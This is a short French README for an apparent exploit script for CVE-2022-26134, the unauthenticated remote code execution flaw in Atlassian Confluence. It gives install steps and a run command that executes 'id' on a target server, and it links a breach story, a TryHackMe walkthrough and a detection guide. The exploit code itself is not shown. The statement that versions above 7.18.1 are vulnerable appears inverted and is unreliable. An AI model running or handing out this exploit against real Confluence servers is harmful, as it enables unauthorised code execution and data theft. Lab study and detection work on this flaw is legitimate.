CVE-2022-26134

Le 30 mai 2022, une organisation nommée Volexity a identifié une vulnérabilité RCE non authentifiée (notée 9.8 sur l'échelle NIST) dans les éditions Confluence Server et Data Center d'Atlassian (Version vulnérable > 7.18.1)

Exécution

python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python CVE-2022-26134.py http://xxx.xxx.xxx.xxx:8090/ "id"

Références

• Comment j'ai piraté une entreprise du Fortune 500 en 48 heures et obtenu les données de 30 000 000 d'utilisateurs – par Legacy0x1
• Walkthrough de la salle TryHackMe CVE-2022-26134 – par Aybala Sevinc
• Détection et recommandations pour la zero-day Confluence CVE-2022-26134